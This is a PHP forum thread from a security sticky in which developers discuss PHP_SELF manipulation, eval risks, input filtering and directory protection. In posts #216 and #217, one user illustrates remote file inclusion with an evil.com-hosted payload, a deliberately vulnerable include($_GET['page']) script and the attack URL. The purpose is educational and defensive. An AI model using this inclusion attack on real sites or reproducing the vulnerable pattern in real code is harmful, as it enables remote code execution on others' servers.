PHP FAQs and Stickies
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me

The Shed is going Social! Join us on FaceBook and Twitter and chime in on the conversation.

Go Back   Dev Shed ForumsProgramming LanguagesPHP DevelopmentPHP FAQs and Stickies

Closed Thread
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Rating: Thread Rating: 28 votes, 4.54 average. Display Modes
 
Unread Dev Shed Forums Sponsor:
  #211  
Old October 12th, 2005, 10:48 PM
Sepodati's Avatar
Sepodati Sepodati is offline
Banned (not really)
Dev Shed God 20th Plane (14500 - 14999 posts)
 
Join Date: Dec 1999
Location: Brussels, Belgium
Posts: 14,630 Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)  Folding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced Folder
Time spent in forums: 3 Months 6 Days 2 h 55 m 52 sec
Reputation Power: 4408
Send a message via ICQ to Sepodati Send a message via Yahoo to Sepodati
Simon brought up this article on how $PHP_SELF and $_SERVER['PHP_SELF'] are taken directly from user input and can be manipulated to contain malicious content.

I never thought of them as user input, so this was interesting to me.

---John Holmes...
__________________
-- Cigars, whiskey and wild, wild women. --

Reply With Quote
  #212  
Old October 13th, 2005, 10:17 AM
bdreyer's Avatar
bdreyer bdreyer is offline
His name is Robert Paulson!
Dev Shed Frequenter (2500 - 2999 posts)
 
Join Date: Feb 2005
Location: Paper Street
Posts: 2,692 bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level)bdreyer User rank is First Lieutenant (10000 - 20000 Reputation Level) 
Time spent in forums: 3 Weeks 3 Days 4 h 10 m 43 sec
Reputation Power: 152
Quote:
Originally Posted by Sepodati
Simon brought up this article on how $PHP_SELF and $_SERVER['PHP_SELF'] are taken directly from user input and can be manipulated to contain malicious content.

I never thought of them as user input, so this was interesting to me.

---John Holmes...


Obviously building portable code, this can be an issue, but I tried the mentioned tests on my server (IIS), and it errors out, never processing the code. I guess it's really no big deal to CYA and use htmlentities or specialchars on the PHP_SELF output... is that the concensus(sp?)... there seems to be quite a bit of confusion with the user response at the bottom...
__________________
Environmental LIMS
What the hell is all this LIMS st*ff about?
---------------------------------------
PHP Pagination Function
PHP Drop Down Menus

Reply With Quote
  #213  
Old October 30th, 2005, 09:56 AM
PC_Freak PC_Freak is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Sep 2003
Location: Belgium
Posts: 11 PC_Freak User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 12 h 48 m 28 sec
Reputation Power: 0
Send a message via ICQ to PC_Freak Send a message via MSN to PC_Freak
Quote:
Originally Posted by Sepodati
Simon brought up this article on how $PHP_SELF and $_SERVER['PHP_SELF'] are taken directly from user input and can be manipulated to contain malicious content.

I never thought of them as user input, so this was interesting to me.

---John Holmes...
Thanks, seems like I will have to do a little fixing I guess.

Reply With Quote
  #214  
Old January 10th, 2006, 08:23 PM
drgroove's Avatar
drgroove drgroove is offline
Moderator Emeritus
Dev Shed God 5th Plane (7000 - 7499 posts)
 
Join Date: Feb 2002
Location: Scottsdale, AZ
Posts: 7,174 drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level)drgroove User rank is General 17th Grade (Above 100000 Reputation Level) 
Time spent in forums: 6 Days 23 h 53 m 36 sec
Reputation Power: 2131
SANS Top 20 Vulnerabilities - PHP is # 3

If you're a PHP developer or an admin of a server actively running PHP, you should read this article:

http://www.sans.org/top20/#c3

SANS has identified several PHP-related threats as being #3 on their list of Top 10 cross-platform vulnerabilites, right after backup and anti-virus software (Microsoft has their own category).

Beyond what you as a developer and/or admin can do to mitigate these risks (like using the Hardened PHP distro), we as PHP developers/admins should be asking Zend what they're actively doing to reduce these risks.
__________________
DrGroove, Devshed Moderator | New to Devshed? Read the User Guide | Need ServiceNow consulting or ITIL process design? Connect with me on LinkedIn

Reply With Quote
  #215  
Old January 13th, 2006, 01:47 PM
TuxLives TuxLives is offline
Contributing User
Dev Shed Beginner (1000 - 1499 posts)
 
Join Date: Apr 2003
Location: Tacoma, WA
Posts: 1,355 TuxLives User rank is Corporal (100 - 500 Reputation Level)TuxLives User rank is Corporal (100 - 500 Reputation Level)TuxLives User rank is Corporal (100 - 500 Reputation Level)TuxLives User rank is Corporal (100 - 500 Reputation Level) 
Time spent in forums: 2 Days 17 h 33 m 37 sec
Reputation Power: 14
Quote:
Originally Posted by drgroove
If you're a PHP developer or an admin of a server actively running PHP, you should read this article:

http://www.sans.org/top20/#c3

SANS has identified several PHP-related threats as being #3 on their list of Top 10 cross-platform vulnerabilites, right after backup and anti-virus software (Microsoft has their own category).

Beyond what you as a developer and/or admin can do to mitigate these risks (like using the Hardened PHP distro), we as PHP developers/admins should be asking Zend what they're actively doing to reduce these risks.

My biggest issue with articles like this as there are no examples to test the issues with my own scripts. EG: I have, in the past, tried to do the remote file include I think by building a page that had a include($_GET['file']) kind of thing. I never could get it to work. Does that mean my server (which was a shared hosting service) is setup correctly against that kind of thing, or was I not attacking properly.

I have also tried to do MySql attacks (like adding a ; and then a drop database kind of thing) in an unvalidated input field, again with no effect

Does anyone have a toolkit with examples to attempt exploits?

Obviously hacker could use this, but I gotta think they already do.
__________________
Suddenly nothing happened.

Reply With Quote
  #216  
Old January 13th, 2006, 02:07 PM
kicken's Avatar
kicken kicken is offline
Wiser? Not exactly.
Dev Shed God 1st Plane (5500 - 5999 posts)
 
Join Date: May 2001
Location: Bonita Springs, FL
Posts: 5,654 kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)kicken User rank is General 37th Grade (Above 100000 Reputation Level)  Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6Folding Points: 2670569 Folding Title: Super Ultimate Folder - Level 6
Time spent in forums: 2 Months 2 Weeks 2 Days 5 h 1 m 44 sec
Reputation Power: 3436
Quote:
Originally Posted by TuxLives
Does that mean my server (which was a shared hosting service) is setup correctly against that kind of thing, or was I not attacking properly.


Probably the latter. For instance, the include() attack is a pretty easy one to pull off. One limiting factor for a while (but not anymore) was that the windows version of PHP didn't support includ()ing URLs. You could still include other files on the computer though.

The include attack has quite a few examples out there (I've written some of em) but as a repeat it's a little something like this:

Code:
http://www.evil.com/script.txt
<?php
system('ls -l');  //Or whatever bad code they wanted to write.
?>


Code:
http://www.vulnerable.com/index.php
<?php
if ($_GET['page'])){
   include($_GET['page']);
}
else {
   include('main.php');
}
?>


attack with: http://www.vulnerable.com/index.php?page=http://www.evil.com/script.txt



SQL Injection using mysql is another one that is a little bit harder to do as well. Main reason being that in PHP, you can't send multiple queries to mysql in one call to mysql_query. That restriction may eventually be lifted though, I couldn't tell you.

How ever, if say you were using a db wrapper, and then your script got moved to another database system such as MS-SQL where multiple-queries at one was a valid thing, then a person could exploit unescaped input to add a drop query to the end of your query, or some other equally bad statement.
__________________
Recycle your old CD's, don't just trash them


Spidermonkey Tutorial;

If I helped out out, show some love with some reputation, or tip with Bitcoins to 1N645HfYf63UbcvxajLKiSKpYHAq2Zxud

Reply With Quote
  #217  
Old January 13th, 2006, 02:31 PM
TuxLives TuxLives is offline
Contributing User
Dev Shed Beginner (1000 - 1499 posts)
 
Join Date: Apr 2003
Location: Tacoma, WA
Posts: 1,355 TuxLives User rank is Corporal (100 - 500 Reputation Level)TuxLives User rank is Corporal (100 - 500 Reputation Level)TuxLives User rank is Corporal (100 - 500 Reputation Level)TuxLives User rank is Corporal (100 - 500 Reputation Level) 
Time spent in forums: 2 Days 17 h 33 m 37 sec
Reputation Power: 14
Quote:
Originally Posted by kicken
Probably the latter. For instance, the include() attack is a pretty easy one to pull off. One limiting factor for a while (but not anymore) was that the windows version of PHP didn't support includ()ing URLs. You could still include other files on the computer though.

The include attack has quite a few examples out there (I've written some of em) but as a repeat it's a little something like this:

Code:
http://www.evil.com/script.txt
<?php
system('ls -l');  //Or whatever bad code they wanted to write.
?>


Code:
http://www.vulnerable.com/index.php
<?php
if ($_GET['page'])){
   include($_GET['page']);
}
else {
   include('main.php');
}
?>


attack with: http://www.vulnerable.com/index.php?page=http://www.evil.com/script.txt



SQL Injection using mysql is another one that is a little bit harder to do as well. Main reason being that in PHP, you can't send multiple queries to mysql in one call to mysql_query. That restriction may eventually be lifted though, I couldn't tell you.

How ever, if say you were using a db wrapper, and then your script got moved to another database system such as MS-SQL where multiple-queries at one was a valid thing, then a person could exploit unescaped input to add a drop query to the end of your query, or some other equally bad statement.


Great, thanks. I think that the community really needs solid examples that we can say "this will test for this", that way if I try it and it does not work I can check something off my list (like my vaildation is working or globals are off or whatever).

Reply With Quote
  #218  
Old January 20th, 2006, 08:09 AM
helloakash's Avatar
helloakash helloakash is offline
Contributing User
Dev Shed Novice (500 - 999 posts)
 
Join Date: Jan 2006
Location: India
Posts: 857 helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)helloakash User rank is Colonel (50000 - 60000 Reputation Level)  Folding Points: 15001 Folding Title: Novice Folder
Time spent in forums: 2 Weeks 2 Days 9 h 34 m 13 sec
Reputation Power: 547
Send a message via Google Talk to helloakash Send a message via Skype to helloakash
Orkut
put a file index.php to every directory of your project so that if someone tries to put url like http://www.somename.com/images/ to see the list of images, he will be unable to do so.

The same thing you can also do in the server settings and through .htaccess file if you don't want to put index.php to all the directories.

Reply With Quote
  #219  
Old February 1st, 2006, 05:26 AM
jafet jafet is offline
Redpill
Dev Shed Intermediate (1500 - 1999 posts)
 
Join Date: Nov 2005
Posts: 1,660 jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level)jafet User rank is First Lieutenant (10000 - 20000 Reputation Level) 
Time spent in forums: 1 Week 6 Days 11 h 19 m 55 sec
Reputation Power: 150
Send a message via MSN to jafet
You could just mark all the folders "403 Forbidden" and setup 403 to redirect somewhere.

Reply With Quote
  #220  
Old July 16th, 2006, 12:58 PM
xalomi xalomi is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Jul 2006
Posts: 1 xalomi User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 9 m 58 sec
Reputation Power: 0
This thread took me awhile to read. I still have yet to figure out why so many people were fighting over the .inc files. It's just an extention. .inc.php works just as well, no .htaccess would be needed. It shows that it is a include file WITH PHP contents. Also like someone said above you can always just add:

mainfile.php
Code:
<?php

define("IN_SCRIPT", true);

?>


include.inc.php
Code:
<?php

if(!defined("IN_SCRIPT")) {
      die("Hacker attempt!");
}

?>


The above example is based off of PHPBB.

Reply With Quote
  #221  
Old July 21st, 2006, 05:32 PM
the_dude's Avatar
the_dude the_dude is offline
The Scott Spirit
Dev Shed Novice (500 - 999 posts)
 
Join Date: Mar 2005
Location: Holland
Posts: 569 the_dude User rank is Sergeant Major (2000 - 5000 Reputation Level)the_dude User rank is Sergeant Major (2000 - 5000 Reputation Level)the_dude User rank is Sergeant Major (2000 - 5000 Reputation Level)the_dude User rank is Sergeant Major (2000 - 5000 Reputation Level)the_dude User rank is Sergeant Major (2000 - 5000 Reputation Level)the_dude User rank is Sergeant Major (2000 - 5000 Reputation Level) 
Time spent in forums: 3 Days 23 h 8 sec
Reputation Power: 35
To make sure an file is included and not being executed directly I use this line of code:
php Code:
Original - php Code
  1.  
  2. //do not run if not included.
  3. if (realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  4.   exit;
  5. }


works like a charm!
__________________

Reply With Quote
  #222  
Old September 14th, 2006, 02:52 PM
Hammer65's Avatar
Hammer65 Hammer65 is offline
Web Developer/Musician
Dev Shed Regular (2000 - 2499 posts)
 
Join Date: Nov 2004
Location: Tennessee Mountains
Posts: 2,315 Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level)Hammer65 User rank is General (90000 - 100000 Reputation Level) 
Time spent in forums: 3 Weeks 4 Days 5 h 54 m 16 sec
Reputation Power: 942
Send a message via AIM to Hammer65
Remember user input doesn't just mean normal GET and POST variables. One XMLRPC exploit I saw (PHPAds), exploited the use of eval while sorting through data from XML. With web services being so popular, be aware of this.

Reply With Quote
  #223  
Old September 14th, 2006, 03:02 PM
LinuxPenguin's Avatar
LinuxPenguin LinuxPenguin is offline
fork while true;
Dev Shed God 1st Plane (5500 - 5999 posts)
 
Join Date: May 2005
Location: England, UK
Posts: 5,538 LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)LinuxPenguin User rank is General 1st Grade (Above 100000 Reputation Level)  Folding Points: 11590 Folding Title: Novice Folder
Time spent in forums: 1 Month 3 Weeks 1 Day 19 h 30 m 28 sec
Reputation Power: 1050
Quote:
Originally Posted by Hammer65
Remember user input doesn't just mean normal GET and POST variables. One XMLRPC exploit I saw (PHPAds), exploited the use of eval while sorting through data from XML. With web services being so popular, be aware of this.
Eval is a major major hole. PHP is one of those languages where there is a function for everything if you look hard enough, you should NEVER need to use eval. There was a big hole in php's xml parsing itself a while back because the author used eval.

Reply With Quote
  #224  
Old September 26th, 2006, 07:32 PM
wizbang wizbang is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Jan 2004
Posts: 32 wizbang User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 6 h 15 m 31 sec
Reputation Power: 10
Thanks for the great information
__________________
Thanks,
Wiz

Reply With Quote
  #225  
Old November 2nd, 2006, 05:12 PM
Sepodati's Avatar
Sepodati Sepodati is offline
Banned (not really)
Dev Shed God 20th Plane (14500 - 14999 posts)
 
Join Date: Dec 1999
Location: Brussels, Belgium
Posts: 14,630 Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)Sepodati User rank is General 51st Grade (Above 100000 Reputation Level)  Folding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced FolderFolding Points: 97169 Folding Title: Advanced Folder
Time spent in forums: 3 Months 6 Days 2 h 55 m 52 sec
Reputation Power: 4408
Send a message via ICQ to Sepodati Send a message via Yahoo to Sepodati
If you're using PHP 5.2 or later, use the built-in Filter Functions to sanitize and validate user input. If you're stuck on an earlier version, try to include the extension through PECL.

Also note that the filter.default and filter.default_flags can be set in php.ini, .htaccess or within your script with ini_set().

---John Holmes...

Reply With Quote
Closed Thread

Viewing: Dev Shed ForumsProgramming LanguagesPHP DevelopmentPHP FAQs and Stickies > [Everyone] Must read Security Notes

Developer Shed Advertisers and Affiliates



Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 


Powered by: vBulletin Version 3.0.5
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.

© 2003-2013 by Developer Shed. All rights reserved. DS Cluster - Follow our Sitemap